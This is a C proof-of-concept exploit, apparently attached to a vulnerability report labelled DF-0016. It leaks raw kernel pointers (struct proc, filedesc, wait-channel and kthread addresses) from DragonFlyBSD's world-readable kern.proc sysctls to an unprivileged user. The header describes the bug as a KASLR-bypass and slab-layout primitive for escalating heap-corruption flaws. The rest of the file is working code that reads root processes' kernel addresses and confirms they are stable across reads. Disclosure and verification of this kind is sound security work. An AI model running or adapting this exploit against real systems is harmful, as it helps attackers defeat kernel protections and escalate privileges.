DF-0016 / leak_kinfo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-0016 PoC - kinfo_proc (kern.proc.*) exports unredacted kernel pointers. * * fill_kinfo_proc (sys/kern/kern_kinfo.c:128-129) and fill_kinfo_lwp / * fill_kinfo_proc_kthread (kern_kinfo.c:272,301,321) fill user-visible * kinfo_proc / kinfo_lwp fields with RAW kernel virtual addresses: * * kp->kp_paddr = (uintptr_t)p; // kern_kinfo.c:128 * kp->kp_fd = (uintptr_t)p->p_fd; // kern_kinfo.c:129 * kl->kl_wchan = (uintptr_t)td_wchan; // kern_kinfo.c:272 * kp->kp_ktaddr = (uintptr_t)td; // kern_kinfo.c:301 * kp->kp_lwp.kl_wchan = (uintptr_t)td->td_wchan; // kern_kinfo.c:321 * * These are copied out unredacted via the world-readable kern.proc.* sysctls * (sysctl_out_proc at kern_proc.c:1603/1612/1633). sysctl_kern_proc for * KERN_PROC_PID only checks PRISON_CHECK (kern_proc.c:1690), NOT p_trespass, * so an unprivileged user can read the kinfo_proc of ANY pid (including * root's) and recover its struct-proc / filedesc slab address and wait-channel. * KASLR-bypass + slab-layout primitive that escalates heap-corruption bugs. * * Build (DragonFlyBSD amd64): cc -o leak_kinfo leak_kinfo.c * Run as an UNPRIVILEGED user: ./leak_kinfo * * Expected (bug present): prints non-zero kernel addresses for kp_paddr and * kp_fd for each pid (struct proc / filedesc slab addresses), stable across * reads; exits 0. On a fixed kernel the fields are zeroed -> exits 2. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/user.h> /* struct kinfo_proc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* amd64 canonical kernel half: 0xffff800000000000 .. 0xffffffffffffffff. * Covers DragonFly's DMAP/heap (0xfffff8xxxxxxxxxx) and kernel text * (0xffffffff8xxxxxxx). */ static int looks_like_kaddr(unsigned long long v) { return (v >= 0xffff800000000000ULL); } static int read_kinfo(int pid, struct kinfo_proc *kp) { int name[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, pid }; size_t len = sizeof(*kp); memset(kp, 0, sizeof(*kp)); if (sysctl(name, 4, kp, &len, NULL, 0) != 0) return -1; if (len == 0) return -1; return 0; } static int leaked_for_pid(int pid, int verbose) { struct kinfo_proc kp; unsigned long long pa, fd, wchan, ktaddr; int leaked = 0; if (read_kinfo(pid, &kp) != 0) { if (verbose) printf(" pid %-6d : (no kinfo / ENOENT)\n", pid); return 0; } pa = (unsigned long long)kp.kp_paddr; fd = (unsigned long long)kp.kp_fd; wchan = (unsigned long long)kp.kp_lwp.kl_wchan; ktaddr = (unsigned long long)kp.kp_ktaddr; if (verbose) { printf(" pid %-6d uid=%-4d comm=%-16s\n", pid, kp.kp_uid, kp.kp_comm); printf(" kp_paddr = 0x%016llx %s\n", pa, looks_like_kaddr(pa) ? "(struct proc slab)" : ""); printf(" kp_fd = 0x%016llx %s\n", fd, looks_like_kaddr(fd) ? "(filedesc slab)" : ""); printf(" kl_wchan = 0x%016llx %s\n", wchan, looks_like_kaddr(wchan) ? "(wait channel)" : ""); printf(" kp_ktaddr = 0x%016llx %s\n", ktaddr, looks_like_kaddr(ktaddr) ? "(kthread addr)" : ""); } if (looks_like_kaddr(pa)) leaked++; if (looks_like_kaddr(fd)) leaked++; if (looks_like_kaddr(wchan)) leaked++; if (looks_like_kaddr(ktaddr)) leaked++; return leaked; } int main(int argc, char **argv) { printf("running as uid=%d (%s); self pid=%d\n", (int)getuid(), argv[0], (int)getpid()); printf("reading kern.proc.pid.<pid> (KERN_PROC_PID -> PRISON_CHECK only, " "no p_trespass gate)\n\n"); /* self + several root-owned daemons */ int pids[] = { (int)getpid(), 1, 68, 285, 328, 411, 699, 730, 0 }; int total = 0, procs_leaked = 0; for (int i = 0; pids[i]; i++) { int n = leaked_for_pid(pids[i], 1); if (n > 0) { total += n; procs_leaked++; } } printf("\n=== stability check: read pid 1 three times, kp_paddr must match ===\n"); struct kinfo_proc k1, k2, k3; if (read_kinfo(1, &k1) == 0 && read_kinfo(1, &k2) == 0 && read_kinfo(1, &k3) == 0) { printf(" pid 1 kp_paddr: 0x%016llx / 0x%016llx / 0x%016llx %s\n", (unsigned long long)k1.kp_paddr, (unsigned long long)k2.kp_paddr, (unsigned long long)k3.kp_paddr, (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr) ? "(STABLE = real struct proc address)" : "(unstable)"); if (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr && looks_like_kaddr(k1.kp_paddr)) total++; } printf("\nresult: %d kernel pointers leaked across %d processes\n", total, procs_leaked); printf("result: %s\n", (total > 0) ? "LEAK CONFIRMED (KASLR-defeat / slab-address primitive)" : "no kernel pointers observed (fields appear redacted)"); return (total > 0) ? 0 : 2; } |